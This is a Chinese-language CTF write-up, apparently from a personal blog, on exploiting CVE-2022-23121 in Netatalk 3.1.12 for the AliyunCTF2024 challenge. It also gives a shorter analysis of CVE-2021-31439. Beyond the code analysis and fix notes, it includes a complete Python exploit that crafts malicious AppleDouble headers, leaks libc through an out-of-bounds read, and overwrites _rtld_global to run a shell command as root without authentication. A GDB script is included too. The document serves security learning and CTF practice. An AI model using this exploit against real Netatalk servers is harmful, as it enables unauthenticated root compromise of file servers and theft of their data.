AliyunCTF2024 Netatalk v3.1.12 越界读写利用

House of AppleDouble(x
大部分时间用在理解AFP协议以及AD文件格式上了…

CVE-2022-23121

漏洞分析

查看漏洞报告,提取出关键信息 https://www.zerodayinitiative.com/advisories/ZDI-22-527/

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Netatalk. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the parse_entries function. The issue results from the lack of proper error handling when parsing AppleDouble entries. An attacker can leverage this vulnerability to execute code in the context of root.

来到parse_entries函数,该函数从用户可控的AppleDouble buffer中获取eid,off,len字段,并存入ad的对应条目中.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* Read an AppleDouble buffer, returns 0 on success, -1 if an entry was malformatted
**/
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)
{
uint32_t eid, len, off;
int ret = 0;

/* now, read in the entry bits */
for (; nentries > 0; nentries-- ) {
memcpy(&eid, buf, sizeof( eid ));
eid = get_eid(ntohl(eid));
buf += sizeof( eid );
memcpy(&off, buf, sizeof( off ));
off = ntohl( off );
buf += sizeof( off );
memcpy(&len, buf, sizeof( len ));
len = ntohl( len );
buf += sizeof( len );

ad->ad_eid[eid].ade_off = off;
ad->ad_eid[eid].ade_len = len;

if (!eid
|| eid > ADEID_MAX
|| off >= sizeof(ad->ad_data)
|| ((eid != ADEID_RFORK) && (off + len > sizeof(ad->ad_data))))
{
ret = -1;
LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",
(uint)eid, (uint)off, (uint)len);
}
}

return ret;
}

看一下对off和len字段的check,

  • off要小于AD_DATASZ_MAX(1024).
  • 除ADEID_RFORK条目外,off+len要小于AD_DATASZ_MAX(1024).

初步判断这里off+len有个整数溢出可以绕过checker,绕过的效果为将非法的len存入ad的条目中.但查找对ad_getentrylen的引用可以发现,非法的len并不能导致危险操作.

再回到off字段上,虽然有off >= sizeof(ad->ad_data)的check,但checker实际有没有用需要看父函数对-1的返回值是怎么处理的.
接下来应该跟一下:

  1. 父函数的错误处理.
  2. off字段在哪里使用?

对比一下三处调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static int ad_header_read(const char *path, struct adouble *ad, const struct stat *hst)
{
......
/* figure out all of the entry offsets and lengths. if we aren't
* able to read a resource fork entry, bail. */
nentries = len / AD_ENTRY_LEN;
if (parse_entries(ad, buf, nentries) != 0) {
LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
path ? fullpathname(path) : "");
errno = EIO;
return -1;
}

......
}
1
2
3
4
5
6
7
8
9
10
11
/* Read an ._ file, only uses the resofork, finderinfo is taken from EA */
static int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst)
{
......
nentries = len / AD_ENTRY_LEN;
if (parse_entries(&adosx, buf, nentries) != 0) {
LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
path ? fullpathname(path) : "");
}
......
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define EC_FAIL do { ret = -1; goto cleanup; } while (0)

static int ad_header_read_ea(const char *path, struct adouble *ad, const struct stat *hst _U_)
{
......
/* Now parse entries */
if (parse_entries(ad, buf + AD_HEADER_LEN, nentries)) {
LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
path ? fullpathname(path) : "");
errno = EINVAL;
EC_FAIL;
}
......
}

可以发现在ad_header_read_osx中的错误处理并不会立刻返回,而是继续处理.这才是真正存在漏洞的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/* Read an ._ file, only uses the resofork, finderinfo is taken from EA */
static int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst)
{
......
nentries = len / AD_ENTRY_LEN;
if (parse_entries(&adosx, buf, nentries) != 0) {
LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
path ? fullpathname(path) : "");
}

if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {
LOG(log_warning, logtype_ad, "Convert OS X to Netatalk AppleDouble: %s",
path ? fullpathname(path) : "");

if (retry_read > 0) {
LOG(log_error, logtype_ad, "ad_header_read_osx: %s, giving up", path ? fullpathname(path) : "");
errno = EIO;
EC_FAIL;
}
retry_read++;
if (ad_convert_osx(path, &adosx) == 1) {
goto reread;
}
errno = EIO;
EC_FAIL;
}

if (ad_getentryoff(&adosx, ADEID_RFORK) == 0
|| ad_getentryoff(&adosx, ADEID_RFORK) > sizeof(ad->ad_data)
|| ad_getentryoff(&adosx, ADEID_RFORK) > header_len
) {
LOG(log_error, logtype_ad, "ad_header_read_osx: problem with rfork entry offset.");
errno = EIO;
return -1;
}

if (hst == NULL) {
hst = &st;
EC_NEG1( fstat(ad_reso_fileno(ad), &st) );
}

ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(&adosx, ADEID_RFORK));
ad->ad_rlen = hst->st_size - ad_getentryoff(ad, ADEID_RFORK);

EC_CLEANUP:
EC_EXIT;

}


最终会在ad_convert_osx中使用非法的off字段.该函数截断AppleDouble中的FinderInfo条目到32字节.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/**
* Convert from Apple's ._ file to Netatalk
*
* Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
* containing packed xattrs. Netatalk can't deal with that, so we
* simply discard the packed xattrs.
*
* As we call ad_open() which might result in a recursion, just to be sure
* use static variable in_conversion to check for that.
*
* Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
**/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
EC_INIT;
static bool in_conversion = false;
char *map;
int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
ssize_t origlen;

if (in_conversion || finderlen == ADEDLEN_FINDERI)
return 0;
in_conversion = true;

LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
fullpathname(path), finderlen);

origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
if (map == MAP_FAILED) {
LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
EC_FAIL;
}

memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
map + ad_getentryoff(ad, ADEID_RFORK),
ad_getentrylen(ad, ADEID_RFORK));

ad_setentrylen(ad, ADEID_FINDERI, ADEDLEN_FINDERI);
ad->ad_rlen = ad_getentrylen(ad, ADEID_RFORK);
ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI);

EC_ZERO_LOG( ftruncate(ad_reso_fileno(ad),
ad_getentryoff(ad, ADEID_RFORK)
+ ad_getentrylen(ad, ADEID_RFORK)) );

(void)ad_rebuild_adouble_header_osx(ad, map);
munmap(map, origlen);

/* Create a metadata EA if one doesn't exit */
if (strlen(path) < 3)
EC_EXIT_STATUS(0);
struct adouble adea;
ad_init_old(&adea, AD_VERSION_EA, ad->ad_options);

if (ad_open(&adea, path + 2, ADFLAGS_HF | ADFLAGS_RDWR | ADFLAGS_CREATE, 0666) < 0) {
LOG(log_error, logtype_ad, "create metadata: %s\n", strerror(errno));
EC_FAIL;
}
if (adea.ad_mdp->adf_flags & O_CREAT) {
memcpy(ad_entry(&adea, ADEID_FINDERI),
ad_entry(ad, ADEID_FINDERI),
ADEDLEN_FINDERI);
ad_flush(&adea);
}
ad_close(&adea, ADFLAGS_HF);

EC_CLEANUP:
in_conversion = false;
if (ret != 0)
return -1;
return 1;
}

漏洞利用

注意到这一句关键代码,以可控偏移和可控长度将可控内容向map写入.而map是通过mmap分配得到到与libc,ld之间的偏移固定,于是该原语可以完成libc和ld中的任意写入.

1
2
3
memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
map + ad_getentryoff(ad, ADEID_RFORK),
ad_getentrylen(ad, ADEID_RFORK));

虽然说该原语也能完成libc地址的泄露,不过更好的(其实差不多)越界读原语在ad_rebuild_adouble_header_osx中.
如下所示,这里的ad是一个栈上的局部变量,对它进行任意偏移读取32字节到adbuf中(即写入文件),再从文件中读取即可获取到栈上保存的__libc_start_main的地址.

1
2
3
4
5
6
7
int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)
{
......
memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);
......
}

在glibc2.27版本中,直接写入_rtld_global._dl_rtld_lock_recursive以及_rtld_global._dl_load_lock即可布置一次命令执行.(ps:写入时偏移过大会在ad_rebuild_adouble_header_osx中的memcpy崩溃,好在Netatalk有注册SIGSEGV的信号处理函数并最终abort,能成功触发”exit_hook”)

梳理一下利用的调用链:

1
2
3
4
5
6
7
ad_open
->adopen_rf
->ad_open_rf_ea
->ad_header_read_osx
->parse_entries
->ad_convert_osx
->ad_rebuild_adouble_header_osx

EXP

由于笔者没有公网IP没法弹shell,利用服务的root权限将flag读出来后重新写入Shared卷中,再次建立连接正常读文件即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
from mimetypes import encodings_map
from pwn import *
context(arch = 'i386', os = 'linux', endian='little')
context.log_level = 'info'

import socket
import struct
import sys
import time
from afputils import *

dl_load_lock_off = 0x4524


# Helper function to create AppleDouble metadata header
# you can modify the header as you want...
def createAppleDoubleForLeak():
header = p32(0x51607) #Magic number double
header += p32(0x20000) #Version number
header += p8(0) * 16 #Filler
header += p16(2) #Number of entries
header += p32(9) #Entry Id Finder Info
header += pack(0x7fa,32,'big', True) # offset
header += p32(30) # Set length other than 32 to call 'ad_convert_osx'
header += p32(2) # Entry Id Resource Fork
header += p32(0x100) # #Control the mmap size
header += p32(0) # length
############
# usefull to find adouble offset
###########
header += b'JUNK' * 8
return header

# Helper function to create AppleDouble metadata header
# you can modify the header as you want...
def createAppleDoubleForArbWrite():
header = p32(0x51607) #Magic number double
header += p32(0x20000) #Version number
header += p8(0) * 16 #Filler
header += p16(2) #Number of entries
header += p32(9) #Entry Id Finder Info
header += pack(dl_load_lock_off-32,32,'big', True) # offset
header += p32(30) # Set length other than 32 to call 'ad_convert_osx'
header += p32(2) # Entry Id Resource Fork
header += p32(0x100) # #Control the mmap size
header += p32(0x330) # length

header = header.ljust(0x100,b'a')
cmd = b'cat /flag* > /home/xxxx/shared/flag\x00'
header += cmd
header += b'b'*(0x32C-len(cmd))
header += pack(system_addr+1,32,'little', False)

return header

# ip and port of the local netatalk server
ip = "127.0.0.1"
port = 5548
volume = "Shared"

# ip = "pwn3.aliyunctf.com"
# port = 32514
# volume = "Shared"


# 建立连接并创建卷
p = connect(ip, port)
response, request_id = DSIOpenSession(p, debug)
response, request_id = FPLogin(p, request_id, b'AFP3.3', b'No User Authent', None, debug)
response, request_id, volume_id = FPOpenVol(p, request_id, 0x21, bytes(volume,encoding='utf-8'), None, debug)




# 创建恶意文件
response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, b"leak_file", debug)
response, request_id, fork1 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"leak_file", debug)

data = b'Hello World !'

response, request_id = FPWriteExt(p, request_id, fork1, 0, len(data), data, debug)
response, request_id = FPCloseFork(p, request_id, fork1, debug)




# 创建恶意文件的AppleDouble metadata,越界读出栈上的libc地址到恶意文件中
appledouble = createAppleDoubleForLeak()
response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, b"._leak_file", debug)
response, request_id, fork2 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"._leak_file", debug)
response, request_id = FPWriteExt(p, request_id, fork2, 0, len(appledouble), appledouble, debug)



# 读取恶意文件中获取到的libc地址
response, request_id, fork3 = FPOpenFork(p, request_id, 1, volume_id, 2, 0, 3, 2, b"leak_file", debug)
response, request_id = FPReadExt(p,request_id,fork2,50,4,debug)

libc_base = unpack(response[16:20],32,endian='little')-0x170e7
system_addr = libc_base+0x2d4dc
binsh_addr = libc_base+0xd5af8
print("libc_base->"+hex(libc_base))

response, request_id = FPCloseFork(p, request_id, fork3, debug)




def Trigger(server, request_id, flag, volume_id, directory_id, bitmap, access_mode, path_type, path_name, info=False):

afp_command = p8(26, endian='big') # command code : 26 --> kFPOpenFork
afp_command += p8(flag, endian='big') # flag
afp_command += p16(volume_id, endian='big') # volume id
afp_command += p32(directory_id, endian='big') # directory id
afp_command += p16(bitmap, endian='big') # bitmap
afp_command += p16(access_mode, endian='big') # access_mode
afp_command += p8(path_type, endian='big') # path type
afp_command += p8(len(path_name), endian='big') # len path name
afp_command += path_name

dsi_header = DSIHeader(0, 2, request_id, 0, len(afp_command))
to_send = dsi_header + afp_command
server.send(to_send)



# 创建恶意文件的AppleDouble metadata,写入_rtld_global._dl_load_lock和_rtld_global._dl_rtld_lock_recursive
appledouble = createAppleDoubleForArbWrite()
response, request_id = FPWriteExt(p, request_id, fork2, 0, len(appledouble), appledouble, debug)
Trigger(p, request_id, 1, volume_id, 2, 0, 3, 2, b"leak_file", debug)

读文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p = connect(ip, port)
response, request_id = DSIOpenSession(p, debug)
response, request_id = FPLogin(p, request_id, b'AFP3.3', b'No User Authent', None, debug)
response, request_id, volume_id = FPOpenVol(p, request_id, 0x21, bytes(volume,encoding='utf-8'), None, debug)


response, request_id, fork4 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"flag", debug)
response, request_id = FPReadExt(p,request_id,fork4,0,80,debug)

response, request_id = FPCloseFork(p, request_id, fork4, debug)

DSICloseSession(p, request_id, debug)
p.close()

调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
target remote 127.0.0.1:1234

# set detach-on-fork off
# set follow-fork-mode child
dir netatalk/etc/afpd
dir netatalk/libatalk/adouble
b ad_open.c:605
b ad_rebuild_adouble_header_osx
b __libc_system
b fault_report
handle SIGSEGV pass
handle SIGSEGV nostop
c

漏洞修复

对parse_entries: https://github.com/Netatalk/netatalk/commit/c4cf72ccef819e9b186400e58af4aa9eadd10828

  • pass in the size of the valid data we read from disk
  • drop redundant buf argument
  • early exit if bounds check fails

对ad_header_read:https://github.com/Netatalk/netatalk/commit/87f6a606a228bf2ca51db8ce1bdcf41d2d68c6bd

  • check there are not more then 16 AppleDouble entries
  • simplify check the AD entries fit into the read buffer
  • fail if parse_entries() returns an error

CVE-2021-31439

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Synology DiskStation Manager. Authentication is not required to exploit this vulnerablity. The specific flaw exists within the processing of DSI structures in Netatalk. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-12326.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];

LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

if (dsi->flags & DSI_DISCONNECTED)
return 0;

/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];

if (dsi->header.dsi_command == 0)
return 0;

memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}

if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

return block[1];
}

关键部分:
类似于CVE-2018-1160,dsi_off字段未经过检查直接作为了dsi->cmdlen,进一步作为参数传入dsi_stream_read,其中dsi->commands缓冲区的长度为dsi->server_quantum(大小由启动配置决定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}

if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;

dsi_stream_read函数将来自网络的数据存储到dsi->commands中,由于未经检查的dsi->cmdlen可能超过dsi->server_quantum,可能造成堆溢出.
经以下调用链:

1
2
3
4
5
dsi_stream_receive
->dsi_stream_read
->buf_read
->from_buf
->readt

最终在readt函数中发生堆溢出.

1
len = recv(socket, (char *) data + stored, length - stored, 0);

观察dsi->commands缓冲区的空间,发现紧邻着libresolv共享库的不可写内存映像,且这一内存布局无法改变,
因为该空间是在建立一次会话时分配的,且每次建立会话都会是一个新的子进程,无法调整内存布局.
意味着溢出必定会发生段错误,没有进一步利用的空间,同时,recv函数会检测内存区域是否存在以及是否有对应权限,所以段错误也不会发生,进行错误处理,终止会话.

再跟一下dsi_doff字段的其他使用,未发现会造成安全问题的地方.判断该漏洞无法在Netatalk中完成利用.
(通告中的RCE说的是affected installations of Synology DiskStation Manager.)

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信